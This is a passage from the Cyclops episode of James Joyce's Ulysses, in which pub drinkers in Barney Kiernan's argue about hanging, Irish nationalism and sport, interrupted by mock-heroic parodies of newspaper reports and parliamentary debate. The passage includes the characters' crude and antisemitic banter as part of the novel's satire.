+But Bob Doran shouts out of him. + +--He's a bloody ruffian, I say, to take away poor little Willy Dignam. + +Terry came down and tipped him the wink to keep quiet, that they +didn't want that kind of talk in a respectable licensed premises. And Bob +Doran starts doing the weeps about Paddy Dignam, true as you're there. + +--The finest man, says he, snivelling, the finest purest character. + +The tear is bloody near your eye. Talking through his bloody hat. +Fitter for him go home to the little sleepwalking bitch he married, +Mooney, the bumbailiff's daughter, mother kept a kip in Hardwicke street, +that used to be stravaging about the landings Bantam Lyons told me that +was stopping there at two in the morning without a stitch on her, exposing +her person, open to all comers, fair field and no favour. + +--The noblest, the truest, says he. And he's gone, poor little Willy, poor +little Paddy Dignam. + +And mournful and with a heavy heart he bewept the extinction of that +beam of heaven. + +Old Garryowen started growling again at Bloom that was skeezing +round the door. + +--Come in, come on, he won't eat you, says the citizen. + +So Bloom slopes in with his cod's eye on the dog and he asks Terry +was Martin Cunningham there. + +--O, Christ M'Keown, says Joe, reading one of the letters. Listen to this, +will you? + +And he starts reading out one. + + + 7 HUNTER STREET, LIVERPOOL. + TO THE HIGH SHERIFF OF DUBLIN, DUBLIN. + + HONOURED SIR I BEG TO OFFER MY SERVICES IN THE ABOVEMENTIONED PAINFUL +CASE I HANGED JOE GANN IN BOOTLE JAIL ON THE 12 OF FEBUARY 1900 AND I +HANGED ... + +--Show us, Joe, says I. + +-- ... PRIVATE ARTHUR CHACE FOR FOWL MURDER OF JESSIE TILSIT IN +PENTONVILLE PRISON AND I WAS ASSISTANT WHEN ... + +--Jesus, says I. + +-- ... BILLINGTON EXECUTED THE AWFUL MURDERER TOAD SMITH ... + +The citizen made a grab at the letter. + +--Hold hard, says Joe, I HAVE A SPECIAL NACK OF PUTTING THE NOOSE ONCE IN +HE CAN'T GET OUT HOPING TO BE FAVOURED I REMAIN, HONOURED SIR, MY TERMS IS +FIVE GINNEES. + + H. RUMBOLD, + MASTER BARBER. + + +--And a barbarous bloody barbarian he is too, says the citizen. + +--And the dirty scrawl of the wretch, says Joe. Here, says he, take them +to hell out of my sight, Alf. Hello, Bloom, says he, what will you have? + +So they started arguing about the point, Bloom saying he wouldn't +and he couldn't and excuse him no offence and all to that and then he said +well he'd just take a cigar. Gob, he's a prudent member and no mistake. + +--Give us one of your prime stinkers, Terry, says Joe. + +And Alf was telling us there was one chap sent in a mourning card +with a black border round it. + +--They're all barbers, says he, from the black country that would hang +their own fathers for five quid down and travelling expenses. + +And he was telling us there's two fellows waiting below to pull his +heels down when he gets the drop and choke him properly and then they +chop up the rope after and sell the bits for a few bob a skull. + +In the dark land they bide, the vengeful knights of the razor. Their +deadly coil they grasp: yea, and therein they lead to Erebus whatsoever +wight hath done a deed of blood for I will on nowise suffer it even so +saith the Lord. + +So they started talking about capital punishment and of course Bloom +comes out with the why and the wherefore and all the codology of the +business and the old dog smelling him all the time I'm told those jewies +does have a sort of a queer odour coming off them for dogs about I don't +know what all deterrent effect and so forth and so on. + +--There's one thing it hasn't a deterrent effect on, says Alf. + +--What's that? says Joe. + +--The poor bugger's tool that's being hanged, says Alf. + +--That so? says Joe. + +--God's truth, says Alf. I heard that from the head warder that was in + +Kilmainham when they hanged Joe Brady, the invincible. He told me when +they cut him down after the drop it was standing up in their faces like a +poker. + +--Ruling passion strong in death, says Joe, as someone said. + +--That can be explained by science, says Bloom. It's only a natural +phenomenon, don't you see, because on account of the ... + +And then he starts with his jawbreakers about phenomenon and +science and this phenomenon and the other phenomenon. + +The distinguished scientist Herr Professor Luitpold Blumenduft +tendered medical evidence to the effect that the instantaneous fracture of +the cervical vertebrae and consequent scission of the spinal cord would, +according to the best approved tradition of medical science, be calculated +to inevitably produce in the human subject a violent ganglionic stimulus +of the nerve centres of the genital apparatus, thereby causing the elastic +pores of the CORPORA CAVERNOSA to rapidly dilate in such a way as to +instantaneously facilitate the flow of blood to that part of the human +anatomy known as the penis or male organ resulting in the phenomenon which +has been denominated by the faculty a morbid upwards and outwards +philoprogenitive erection IN ARTICULO MORTIS PER DIMINUTIONEM CAPITIS. + +So of course the citizen was only waiting for the wink of the word and +he starts gassing out of him about the invincibles and the old guard and +the men of sixtyseven and who fears to speak of ninetyeight and Joe with +him about all the fellows that were hanged, drawn and transported for the +cause by drumhead courtmartial and a new Ireland and new this, that and +the other. Talking about new Ireland he ought to go and get a new dog so +he ought. Mangy ravenous brute sniffing and sneezing all round the place +and scratching his scabs. And round he goes to Bob Doran that was +standing Alf a half one sucking up for what he could get. So of course Bob +Doran starts doing the bloody fool with him: + +--Give us the paw! Give the paw, doggy! Good old doggy! Give the paw +here! Give us the paw! + +Arrah, bloody end to the paw he'd paw and Alf trying to keep him +from tumbling off the bloody stool atop of the bloody old dog and he +talking all kinds of drivel about training by kindness and thoroughbred +dog and intelligent dog: give you the bloody pip. Then he starts scraping +a few bits of old biscuit out of the bottom of a Jacobs' tin he told Terry +to bring. Gob, he golloped it down like old boots and his tongue hanging +out of him a yard long for more. Near ate the tin and all, hungry bloody +mongrel. + +And the citizen and Bloom having an argument about the point, the +brothers Sheares and Wolfe Tone beyond on Arbour Hill and Robert +Emmet and die for your country, the Tommy Moore touch about Sara +Curran and she's far from the land. And Bloom, of course, with his +knockmedown cigar putting on swank with his lardy face. Phenomenon! +The fat heap he married is a nice old phenomenon with a back on her like a +ballalley. Time they were stopping up in the CITY ARMS pisser Burke told +me there was an old one there with a cracked loodheramaun of a nephew and +Bloom trying to get the soft side of her doing the mollycoddle playing +bezique to come in for a bit of the wampum in her will and not eating meat +of a Friday because the old one was always thumping her craw and taking +the lout out for a walk. And one time he led him the rounds of Dublin and, +by the holy farmer, he never cried crack till he brought him home as drunk +as a boiled owl and he said he did it to teach him the evils of alcohol +and by herrings, if the three women didn't near roast him, it's a queer +story, the old one, Bloom's wife and Mrs O'Dowd that kept the hotel. +Jesus, I had to laugh at pisser Burke taking them off chewing the fat. +And Bloom with his BUT DON'T YOU SEE? and BUT ON THE OTHER HAND. And sure, +more be token, the lout I'm told was in Power's after, the blender's, +round in Cope street going home footless in a cab five times in the week +after drinking his way through all the samples in the bloody +establishment. Phenomenon! + +--The memory of the dead, says the citizen taking up his pintglass and +glaring at Bloom. + +--Ay, ay, says Joe. + +--You don't grasp my point, says Bloom. What I mean is ... + +--SINN FEIN! says the citizen. SINN FEIN AMHAIN! The friends we love are +by our side and the foes we hate before us. + +The last farewell was affecting in the extreme. From the belfries far +and near the funereal deathbell tolled unceasingly while all around the +gloomy precincts rolled the ominous warning of a hundred muffled drums +punctuated by the hollow booming of pieces of ordnance. The deafening +claps of thunder and the dazzling flashes of lightning which lit up the +ghastly scene testified that the artillery of heaven had lent its +supernatural pomp to the already gruesome spectacle. A torrential rain +poured down from the floodgates of the angry heavens upon the bared heads +of the assembled multitude which numbered at the lowest computation five +hundred thousand persons. A posse of Dublin Metropolitan police +superintended by the Chief Commissioner in person maintained order in +the vast throng for whom the York street brass and reed band whiled away +the intervening time by admirably rendering on their blackdraped +instruments the matchless melody endeared to us from the cradle by +Speranza's plaintive muse. Special quick excursion trains and upholstered +charabancs had been provided for the comfort of our country cousins of +whom there were large contingents. Considerable amusement was caused +by the favourite Dublin streetsingers L-n-h-n and M-ll-g-n who sang THE +NIGHT BEFORE LARRY WAS STRETCHED in their usual mirth-provoking fashion. +Our two inimitable drolls did a roaring trade with their broadsheets among +lovers of the comedy element and nobody who has a corner in his heart for +real Irish fun without vulgarity will grudge them their hardearned +pennies. The children of the Male and Female Foundling Hospital who +thronged the windows overlooking the scene were delighted with this +unexpected addition to the day's entertainment and a word of praise is due +to the Little Sisters of the Poor for their excellent idea of affording +the poor fatherless and motherless children a genuinely instructive treat. +The viceregal houseparty which included many wellknown ladies was +chaperoned by Their Excellencies to the most favourable positions on the +grandstand while the picturesque foreign delegation known as the Friends +of the Emerald Isle was accommodated on a tribune directly opposite. +The delegation, present in full force, consisted of Commendatore +Bacibaci Beninobenone (the semiparalysed DOYEN of the party who had +to be assisted to his seat by the aid of a powerful steam crane), +Monsieur Pierrepaul Petitepatant, the Grandjoker Vladinmire +Pokethankertscheff, the Archjoker Leopold Rudolph von +Schwanzenbad-Hodenthaler, Countess Marha Viraga Kisaszony Putrapesthi, +Hiram Y. Bomboost, Count Athanatos Karamelopulos, Ali Baba Backsheesh +Rahat Lokum Effendi, Senor Hidalgo Caballero Don Pecadillo y +Palabras y Paternoster de la Malora de la Malaria, Hokopoko Harakiri, +Hi Hung Chang, Olaf Kobberkeddelsen, Mynheer Trik van Trumps, +Pan Poleaxe Paddyrisky, Goosepond Prhklstr Kratchinabritchisitch, +Borus Hupinkoff, Herr Hurhausdirektorpresident Hans Chuechli-Steuerli, +Nationalgymnasiummuseumsanatoriumandsuspensoriumsordinaryprivatdocent- +generalhistoryspecialprofessordoctor Kriegfried Ueberallgemein. +All the delegates without exception expressed themselves in the +strongest possible heterogeneous terms concerning the nameless +barbarity which they had been called upon to witness. An animated +altercation (in which all took part) ensued among the F. O. T. E. I. +as to whether the eighth or the ninth of March was the correct +date of the birth of Ireland's patron saint. In the course of the +argument cannonballs, scimitars, boomerangs, blunderbusses, stinkpots, +meatchoppers, umbrellas, catapults, knuckledusters, sandbags, lumps of pig +iron were resorted to and blows were freely exchanged. The baby +policeman, Constable MacFadden, summoned by special courier from +Booterstown, quickly restored order and with lightning promptitude +proposed the seventeenth of the month as a solution equally honourable for +both contending parties. The readywitted ninefooter's suggestion at once +appealed to all and was unanimously accepted. Constable MacFadden was +heartily congratulated by all the F.O.T.E.I., several of whom were +bleeding profusely. Commendatore Beninobenone having been extricated +from underneath the presidential armchair, it was explained by his legal +adviser Avvocato Pagamimi that the various articles secreted in his +thirtytwo pockets had been abstracted by him during the affray from the +pockets of his junior colleagues in the hope of bringing them to their +senses. The objects (which included several hundred ladies' and +gentlemen's gold and silver watches) were promptly restored to their +rightful owners and general harmony reigned supreme. + +Quietly, unassumingly Rumbold stepped on to the scaffold in faultless +morning dress and wearing his favourite flower, the GLADIOLUS CRUENTUS. +He announced his presence by that gentle Rumboldian cough which so +many have tried (unsuccessfully) to imitate--short, painstaking yet withal +so characteristic of the man. The arrival of the worldrenowned headsman +was greeted by a roar of acclamation from the huge concourse, the +viceregal ladies waving their handkerchiefs in their excitement while the +even more excitable foreign delegates cheered vociferously in a medley of +cries, HOCH, BANZAI, ELJEN, ZIVIO, CHINCHIN, POLLA KRONIA, HIPHIP, VIVE, +ALLAH, amid which the ringing EVVIVA of the delegate of the land of song +(a high double F recalling those piercingly lovely notes with which the +eunuch Catalani beglamoured our greatgreatgrandmothers) was easily +distinguishable. It was exactly seventeen o'clock. The signal for prayer +was then promptly given by megaphone and in an instant all heads were +bared, the commendatore's patriarchal sombrero, which has been in the +possession of his family since the revolution of Rienzi, being removed by +his medical adviser in attendance, Dr Pippi. The learned prelate who +administered the last comforts of holy religion to the hero martyr when +about to pay the death penalty knelt in a most christian spirit in a pool +of rainwater, his cassock above his hoary head, and offered up to the +throne of grace fervent prayers of supplication. Hand by the block stood +the grim figure of the executioner, his visage being concealed in a +tengallon pot with two circular perforated apertures through which +his eyes glowered furiously. As he awaited the fatal signal he +tested the edge of his horrible weapon by honing it upon his +brawny forearm or decapitated in rapid succession a flock of +sheep which had been provided by the admirers of his fell but necessary +office. On a handsome mahogany table near him were neatly arranged the +quartering knife, the various finely tempered disembowelling appliances +(specially supplied by the worldfamous firm of cutlers, Messrs John Round +and Sons, Sheffield), a terra cotta saucepan for the reception of the +duodenum, colon, blind intestine and appendix etc when successfully +extracted and two commodious milkjugs destined to receive the most +precious blood of the most precious victim. The housesteward of the +amalgamated cats' and dogs' home was in attendance to convey these +vessels when replenished to that beneficent institution. Quite an +excellent repast consisting of rashers and eggs, fried steak and onions, +done to a nicety, delicious hot breakfast rolls and invigorating tea had +been considerately provided by the authorities for the consumption +of the central figure of the tragedy who was in capital spirits +when prepared for death and evinced the keenest interest in the +proceedings from beginning to end but he, with an abnegation rare +in these our times, rose nobly to the occasion and expressed the +dying wish (immediately acceded to) that the meal should be +divided in aliquot parts among the members of the sick and indigent +roomkeepers' association as a token of his regard and esteem. The NEC and +NON PLUS ULTRA of emotion were reached when the blushing bride elect burst +her way through the serried ranks of the bystanders and flung herself upon +the muscular bosom of him who was about to be launched into eternity for +her sake. The hero folded her willowy form in a loving embrace murmuring +fondly SHEILA, MY OWN. Encouraged by this use of her christian name she +kissed passionately all the various suitable areas of his person which the +decencies of prison garb permitted her ardour to reach. She swore to him +as they mingled the salt streams of their tears that she would ever +cherish his memory, that she would never forget her hero boy who went to +his death with a song on his lips as if he were but going to a hurling +match in Clonturk park. She brought back to his recollection the happy +days of blissful childhood together on the banks of Anna Liffey when they +had indulged in the innocent pastimes of the young and, oblivious of the +dreadful present, they both laughed heartily, all the spectators, +including the venerable pastor, joining in the general merriment. That +monster audience simply rocked with delight. But anon they were overcome +with grief and clasped their hands for the last time. A fresh torrent of +tears burst from their lachrymal ducts and the vast concourse of people, +touched to the inmost core, broke into heartrending sobs, not the least +affected being the aged prebendary himself. Big strong men, officers of +the peace and genial giants of the royal Irish constabulary, +were making frank use of their handkerchiefs and it is safe to say +that there was not a dry eye in that record assemblage. A most +romantic incident occurred when a handsome young Oxford graduate, +noted for his chivalry towards the fair sex, stepped forward and, +presenting his visiting card, bankbook and genealogical tree, +solicited the hand of the hapless young lady, requesting her to +name the day, and was accepted on the spot. Every lady in the +audience was presented with a tasteful souvenir of the occasion +in the shape of a skull and crossbones brooch, a timely and generous +act which evoked a fresh outburst of emotion: and when the gallant +young Oxonian (the bearer, by the way, of one of the most timehonoured +names in Albion's history) placed on the finger of his blushing FIANCEE +an expensive engagement ring with emeralds set in the form of a +fourleaved shamrock the excitement knew no bounds. Nay, even the stern +provostmarshal, lieutenantcolonel Tomkin-Maxwell ffrenchmullan Tomlinson, +who presided on the sad occasion, he who had blown a considerable number +of sepoys from the cannonmouth without flinching, could not now restrain +his natural emotion. With his mailed gauntlet he brushed away a furtive +tear and was overheard, by those privileged burghers who happened to be +in his immediate ENTOURAGE, to murmur to himself in a faltering undertone: + +--God blimey if she aint a clinker, that there bleeding tart. Blimey it +makes me kind of bleeding cry, straight, it does, when I sees her cause I +thinks of my old mashtub what's waiting for me down Limehouse way. + +So then the citizen begins talking about the Irish language and the +corporation meeting and all to that and the shoneens that can't speak +their own language and Joe chipping in because he stuck someone for +a quid and Bloom putting in his old goo with his twopenny stump that +he cadged off of Joe and talking about the Gaelic league and the +antitreating league and drink, the curse of Ireland. Antitreating +is about the size of it. Gob, he'd let you pour all manner of drink +down his throat till the Lord would call him before you'd ever +see the froth of his pint. And one night I went in with a fellow +into one of their musical evenings, song and dance about she could +get up on a truss of hay she could my Maureen Lay and there was a fellow +with a Ballyhooly blue ribbon badge spiffing out of him in Irish and a lot +of colleen bawns going about with temperance beverages and selling medals +and oranges and lemonade and a few old dry buns, gob, flahoolagh +entertainment, don't be talking. Ireland sober is Ireland free. And then +an old fellow starts blowing into his bagpipes and all the gougers +shuffling their feet to the tune the old cow died of. And one or two sky +pilots having an eye around that there was no goings on with the females, +hitting below the belt. + +So howandever, as I was saying, the old dog seeing the tin was empty +starts mousing around by Joe and me. I'd train him by kindness, so I +would, if he was my dog. Give him a rousing fine kick now and again where +it wouldn't blind him. + +--Afraid he'll bite you? says the citizen, jeering. + +--No, says I. But he might take my leg for a lamppost. + +So he calls the old dog over. + +--What's on you, Garry? says he. + +Then he starts hauling and mauling and talking to him in Irish and +the old towser growling, letting on to answer, like a duet in the opera. +Such growling you never heard as they let off between them. Someone that +has nothing better to do ought to write a letter PRO BONO PUBLICO to the +papers about the muzzling order for a dog the like of that. Growling and +grousing and his eye all bloodshot from the drouth is in it and the +hydrophobia dropping out of his jaws. + +All those who are interested in the spread of human culture among +the lower animals (and their name is legion) should make a point of not +missing the really marvellous exhibition of cynanthropy given by the +famous old Irish red setter wolfdog formerly known by the SOBRIQUET of +Garryowen and recently rechristened by his large circle of friends and +acquaintances Owen Garry. The exhibition, which is the result of years of +training by kindness and a carefully thoughtout dietary system, comprises, +among other achievements, the recitation of verse. Our greatest living +phonetic expert (wild horses shall not drag it from us!) has left no stone +unturned in his efforts to delucidate and compare the verse recited and has +found it bears a STRIKING resemblance (the italics are ours) to the ranns +of ancient Celtic bards. We are not speaking so much of those delightful +lovesongs with which the writer who conceals his identity under the +graceful pseudonym of the Little Sweet Branch has familiarised the +bookloving world but rather (as a contributor D. O. C. points out in an +interesting communication published by an evening contemporary) of the +harsher and more personal note which is found in the satirical effusions +of the famous Raftery and of Donal MacConsidine to say nothing of a more +modern lyrist at present very much in the public eye. We subjoin a +specimen which has been rendered into English by an eminent scholar +whose name for the moment we are not at liberty to disclose though +we believe that our readers will find the topical allusion rather +more than an indication. The metrical system of the canine original, +which recalls the intricate alliterative and isosyllabic rules of +the Welsh englyn, is infinitely more complicated but we believe our +readers will agree that the spirit has been well caught. Perhaps +it should be added that the effect is greatly increased if Owen's +verse be spoken somewhat slowly and indistinctly in a tone suggestive +of suppressed rancour. + + + THE CURSE OF MY CURSES + SEVEN DAYS EVERY DAY + AND SEVEN DRY THURSDAYS + ON YOU, BARNEY KIERNAN, + HAS NO SUP OF WATER + TO COOL MY COURAGE, + AND MY GUTS RED ROARING + AFTER LOWRY'S LIGHTS. + + +So he told Terry to bring some water for the dog and, gob, you could +hear him lapping it up a mile off. And Joe asked him would he have +another. + +--I will, says he, A CHARA, to show there's no ill feeling. + +Gob, he's not as green as he's cabbagelooking. Arsing around from +one pub to another, leaving it to your own honour, with old Giltrap's dog +and getting fed up by the ratepayers and corporators. Entertainment for +man and beast. And says Joe: + +--Could you make a hole in another pint? + +--Could a swim duck? says I. + +--Same again, Terry, says Joe. Are you sure you won't have anything in the +way of liquid refreshment? says he. + +--Thank you, no, says Bloom. As a matter of fact I just wanted to meet +Martin Cunningham, don't you see, about this insurance of poor Dignam's. +Martin asked me to go to the house. You see, he, Dignam, I mean, didn't +serve any notice of the assignment on the company at the time and +nominally under the act the mortgagee can't recover on the policy. + +--Holy Wars, says Joe, laughing, that's a good one if old Shylock is +landed. So the wife comes out top dog, what? + +--Well, that's a point, says Bloom, for the wife's admirers. + +--Whose admirers? says Joe. + +--The wife's advisers, I mean, says Bloom. + +Then he starts all confused mucking it up about mortgagor under the act +like the lord chancellor giving it out on the bench and for the benefit of +the wife and that a trust is created but on the other hand that Dignam +owed Bridgeman the money and if now the wife or the widow contested the +mortgagee's right till he near had the head of me addled with his +mortgagor under the act. He was bloody safe he wasn't run in himself under +the act that time as a rogue and vagabond only he had a friend in court. +Selling bazaar tickets or what do you call it royal Hungarian privileged +lottery. True as you're there. O, commend me to an israelite! Royal and +privileged Hungarian robbery. + +So Bob Doran comes lurching around asking Bloom to tell Mrs +Dignam he was sorry for her trouble and he was very sorry about the +funeral and to tell her that he said and everyone who knew him said that +there was never a truer, a finer than poor little Willy that's dead to tell +her. Choking with bloody foolery. And shaking Bloom's hand doing the +tragic to tell her that. Shake hands, brother. You're a rogue and I'm +another. + +--Let me, said he, so far presume upon our acquaintance which, however +slight it may appear if judged by the standard of mere time, is founded, +as I hope and believe, on a sentiment of mutual esteem as to request of +you this favour. But, should I have overstepped the limits of reserve +let the sincerity of my feelings be the excuse for my boldness. + +--No, rejoined the other, I appreciate to the full the motives which +actuate your conduct and I shall discharge the office you entrust +to me consoled by the reflection that, though the errand be one of +sorrow, this proof of your confidence sweetens in some measure the +bitterness of the cup. + +--Then suffer me to take your hand, said he. The goodness of your heart, I +feel sure, will dictate to you better than my inadequate words the +expressions which are most suitable to convey an emotion whose +poignancy, were I to give vent to my feelings, would deprive me even of +speech. + +And off with him and out trying to walk straight. Boosed at five +o'clock. Night he was near being lagged only Paddy Leonard knew the bobby, +14A. Blind to the world up in a shebeen in Bride street after closing +time, fornicating with two shawls and a bully on guard, drinking porter +out of teacups. And calling himself a Frenchy for the shawls, Joseph +Manuo, and talking against the Catholic religion, and he serving mass in +Adam and Eve's when he was young with his eyes shut, who wrote the new +testament, and the old testament, and hugging and smugging. And the two +shawls killed with the laughing, picking his pockets, the bloody +fool and he spilling the porter all over the bed and the two shawls +screeching laughing at one another. HOW IS YOUR TESTAMENT? HAVE YOU +GOT AN OLD TESTAMENT? Only Paddy was passing there, I tell you what. +Then see him of a Sunday with his little concubine of a wife, and +she wagging her tail up the aisle of the chapel with her patent boots +on her, no less, and her violets, nice as pie, doing the little lady. +Jack Mooney's sister. And the old prostitute of a mother +procuring rooms to street couples. Gob, Jack made him toe the line. Told +him if he didn't patch up the pot, Jesus, he'd kick the shite out of him. + +So Terry brought the three pints. + +--Here, says Joe, doing the honours. Here, citizen. + +--SLAN LEAT, says he. + +--Fortune, Joe, says I. Good health, citizen. + +Gob, he had his mouth half way down the tumbler already. Want a +small fortune to keep him in drinks. + +--Who is the long fellow running for the mayoralty, Alf? says Joe. + +--Friend of yours, says Alf. + +--Nannan? says Joe. The mimber? + +--I won't mention any names, says Alf. + +--I thought so, says Joe. I saw him up at that meeting now with William +Field, M. P., the cattle traders. + +--Hairy Iopas, says the citizen, that exploded volcano, the darling of all +countries and the idol of his own. + +So Joe starts telling the citizen about the foot and mouth disease and +the cattle traders and taking action in the matter and the citizen sending +them all to the rightabout and Bloom coming out with his sheepdip for the +scab and a hoose drench for coughing calves and the guaranteed remedy +for timber tongue. Because he was up one time in a knacker's yard. +Walking about with his book and pencil here's my head and my heels are +coming till Joe Cuffe gave him the order of the boot for giving lip to a +grazier. Mister Knowall. Teach your grandmother how to milk ducks. +Pisser Burke was telling me in the hotel the wife used to be in rivers of +tears some times with Mrs O'Dowd crying her eyes out with her eight inches +of fat all over her. Couldn't loosen her farting strings but old cod's eye +was waltzing around her showing her how to do it. What's your programme +today? Ay. Humane methods. Because the poor animals suffer and experts +say and the best known remedy that doesn't cause pain to the animal and +on the sore spot administer gently. Gob, he'd have a soft hand under a +hen. + +Ga Ga Gara. Klook Klook Klook. Black Liz is our hen. She lays eggs +for us. When she lays her egg she is so glad. Gara. Klook Klook Klook. +Then comes good uncle Leo. He puts his hand under black Liz and takes +her fresh egg. Ga ga ga ga Gara. Klook Klook Klook. + +--Anyhow, says Joe, Field and Nannetti are going over tonight to London +to ask about it on the floor of the house of commons. + +--Are you sure, says Bloom, the councillor is going? I wanted to see him, +as it happens. + +--Well, he's going off by the mailboat, says Joe, tonight. + +--That's too bad, says Bloom. I wanted particularly. Perhaps only Mr Field +is going. I couldn't phone. No. You're sure? + +--Nannan's going too, says Joe. The league told him to ask a question +tomorrow about the commissioner of police forbidding Irish games in the +park. What do you think of that, citizen? THE SLUAGH NA H-EIREANN. + +Mr Cowe Conacre (Multifarnham. Nat.): Arising out of the question of my +honourable friend, the member for Shillelagh, may I ask the right +honourable gentleman whether the government has issued orders that these +animals shall be slaughtered though no medical evidence is forthcoming as +to their pathological condition? + +Mr Allfours (Tamoshant. Con.): Honourable members are already in +possession of the evidence produced before a committee of the whole house. +I feel I cannot usefully add anything to that. The answer to the +honourable member's question is in the affirmative. + +Mr Orelli O'Reilly (Montenotte. Nat.): Have similar orders been issued for +the slaughter of human animals who dare to play Irish games in the +Phoenix park? + +Mr Allfours: The answer is in the negative. + +Mr Cowe Conacre: Has the right honourable gentleman's famous +Mitchelstown telegram inspired the policy of gentlemen on the Treasury +bench? (O! O!) + +Mr Allfours: I must have notice of that question. + +Mr Staylewit (Buncombe. Ind.): Don't hesitate to shoot. + +(Ironical opposition cheers.) + +The speaker: Order! Order! + +(The house rises. Cheers.) + +--There's the man, says Joe, that made the Gaelic sports revival. There he +is sitting there. The man that got away James Stephens. The champion of +all Ireland at putting the sixteen pound shot. What was your best throw, +citizen? + +--NA BACLEIS, says the citizen, letting on to be modest. There was a time +I was as good as the next fellow anyhow. + +--Put it there, citizen, says Joe. You were and a bloody sight better. + +--Is that really a fact? says Alf. + +--Yes, says Bloom. That's well known. Did you not know that? + +So off they started about Irish sports and shoneen games the like of lawn +tennis and about hurley and putting the stone and racy of the soil and +building up a nation once again and all to that. And of course Bloom had +to have his say too about if a fellow had a rower's heart violent +exercise was bad. I declare to my antimacassar if you took up a +straw from the bloody floor and if you said to Bloom: LOOK AT, BLOOM. +DO YOU SEE THAT STRAW? THAT'S A STRAW. Declare to my aunt he'd talk +about it for an hour so he would and talk steady. + +A most interesting discussion took place in the ancient hall of BRIAN +O'CIARNAIN'S in SRAID NA BRETAINE BHEAG, under the auspices of SLUAGH NA +H-EIREANN, on the revival of ancient Gaelic sports and the importance of +physical culture, as understood in ancient Greece and ancient Rome and +ancient Ireland, for the development of the race. The venerable president +of the noble order was in the chair and the attendance was of large +dimensions. After an instructive discourse by the chairman, a magnificent +oration eloquently and forcibly expressed, a most interesting and +instructive discussion of the usual high standard of excellence +ensued as to the desirability of the revivability of the ancient +games and sports of our ancient Panceltic forefathers. The +wellknown and highly respected worker in the cause of our old +tongue, Mr Joseph M'Carthy Hynes, made an eloquent appeal for +the resuscitation of the ancient Gaelic sports and pastimes, +practised morning and evening by Finn MacCool, as calculated to revive the +best traditions of manly strength and prowess handed down to us from +ancient ages. L. Bloom, who met with a mixed reception of applause and +hisses, having espoused the negative the vocalist chairman brought the +discussion to a close, in response to repeated requests and hearty +plaudits from all parts of a bumper house, by a remarkably noteworthy +rendering of the immortal Thomas Osborne Davis' evergreen verses (happily +too familiar to need recalling here) A NATION ONCE AGAIN in the execution +of which the veteran patriot champion may be said without fear of +contradiction to have fairly excelled himself. The Irish Caruso-Garibaldi +was in superlative form and his stentorian notes were heard to the +greatest advantage in the timehonoured anthem sung as only our citizen +can sing it. His superb highclass vocalism, which by its superquality +greatly enhanced his already international reputation, was vociferously +applauded by the large audience among which were to be noticed many +prominent members of the clergy as well as representatives of the press +and the bar and the other learned professions. The proceedings then +terminated. + +Amongst the clergy present were the very rev. William Delany, S. J., +L. L. D.; the rt rev. Gerald Molloy, D. D.; the rev. P. J. Kavanagh, +C. S. Sp.; the rev. T. Waters, C. C.; the rev. John M. Ivers, P. P.; the +rev. P. J. Cleary, O. S. F.; the rev. L. J. Hickey, O. P.; the very rev. +Fr. Nicholas, O. S. F. C.; the very rev. B. Gorman, O. D. C.; the rev. T. +Maher, S. J.; the very rev. James Murphy, S. J.; the rev. John Lavery, +V. F.; the very rev. William Doherty, D. D.; the rev. Peter Fagan, O. M.; +the rev. T. Brangan, O. S. A.; the rev. J. Flavin, C. C.; the rev. M. A. +Hackett, C. C.; the rev. W. Hurley, C. C.; the rt rev. Mgr M'Manus, +V. G.; the rev. B. R. Slattery, O. M. I.; the very rev. M. D. Scally, P. +P.; the rev. F. T. Purcell, O. P.; the very rev. Timothy canon Gorman, +P. P.; the rev. J. Flanagan, C. C. The laity included P. Fay, T. Quirke, +etc., etc. + +--Talking about violent exercise, says Alf, were you at that Keogh-Bennett +match? + +--No, says Joe. + +--I heard So and So made a cool hundred quid over it, says Alf. + +--Who? Blazes? says Joe. + +And says Bloom: + +--What I meant about tennis, for example, is the agility and training the +eye. + +--Ay, Blazes, says Alf. He let out that Myler was on the beer to run up +the odds and he swatting all the time. + +--We know him, says the citizen. The traitor's son. We know what put +English gold in his pocket. + +---True for you, says Joe. + +And Bloom cuts in again about lawn tennis and the circulation of the +blood, asking Alf: + +--Now, don't you think, Bergan? + +--Myler dusted the floor with him, says Alf. Heenan and Sayers was only a +bloody fool to it. Handed him the father and mother of a beating. See the +little kipper not up to his navel and the big fellow swiping. God, he gave +him one last puck in the wind, Queensberry rules and all, made him puke +what he never ate. + +It was a historic and a hefty battle when Myler and Percy were +scheduled to don the gloves for the purse of fifty sovereigns. Handicapped +as he was by lack of poundage, Dublin's pet lamb made up for it by +superlative skill in ringcraft. The final bout of fireworks was a +gruelling for both champions. The welterweight sergeantmajor had +tapped some lively claret in the previous mixup during which Keogh +had been receivergeneral of rights and lefts, the artilleryman +putting in some neat work on the pet's nose, and Myler came on +looking groggy. The soldier got to business, leading off with a +powerful left jab to which the Irish gladiator retaliated by shooting +out a stiff one flush to the point of Bennett's jaw. The redcoat +ducked but the Dubliner lifted him with a left hook, the body punch being +a fine one. The men came to handigrips. Myler quickly became busy and got +his man under, the bout ending with the bulkier man on the ropes, Myler +punishing him. The Englishman, whose right eye was nearly closed, took +his corner where he was liberally drenched with water and when the bell +went came on gamey and brimful of pluck, confident of knocking out the +fistic Eblanite in jigtime. It was a fight to a finish and the best man +for it. The two fought like tigers and excitement ran fever high. The +referee twice cautioned Pucking Percy for holding but the pet was tricky +and his footwork a treat to watch. After a brisk exchange of courtesies +during which a smart upper cut of the military man brought blood freely +from his opponent's mouth the lamb suddenly waded in all over his man and +landed a terrific left to Battling Bennett's stomach, flooring him flat. +It was a knockout clean and clever. Amid tense expectation the Portobello +bruiser was being counted out when Bennett's second Ole Pfotts Wettstein +threw in the towel and the Santry boy was declared victor to the frenzied +cheers of the public who broke through the ringropes and fairly mobbed him +with delight. + +--He knows which side his bread is buttered, says Alf. I hear he's running +a concert tour now up in the north. + +--He is, says Joe. Isn't he? + +--Who? says Bloom. Ah, yes. That's quite true. Yes, a kind of summer tour, +you see. Just a holiday. + +--Mrs B. is the bright particular star, isn't she? says Joe. + +--My wife? says Bloom. She's singing, yes. I think it will be a success +too. + +He's an excellent man to organise. Excellent. + +Hoho begob says I to myself says I. That explains the milk in the cocoanut +and absence of hair on the animal's chest. Blazes doing the tootle on the +flute. Concert tour. Dirty Dan the dodger's son off Island bridge that +sold the same horses twice over to the government to fight the Boers. Old +Whatwhat. I called about the poor and water rate, Mr Boylan. You what? +The water rate, Mr Boylan. You whatwhat? That's the bucko that'll +organise her, take my tip. 'Twixt me and you Caddareesh. + +Pride of Calpe's rocky mount, the ravenhaired daughter of Tweedy. +There grew she to peerless beauty where loquat and almond scent the air. +The gardens of Alameda knew her step: 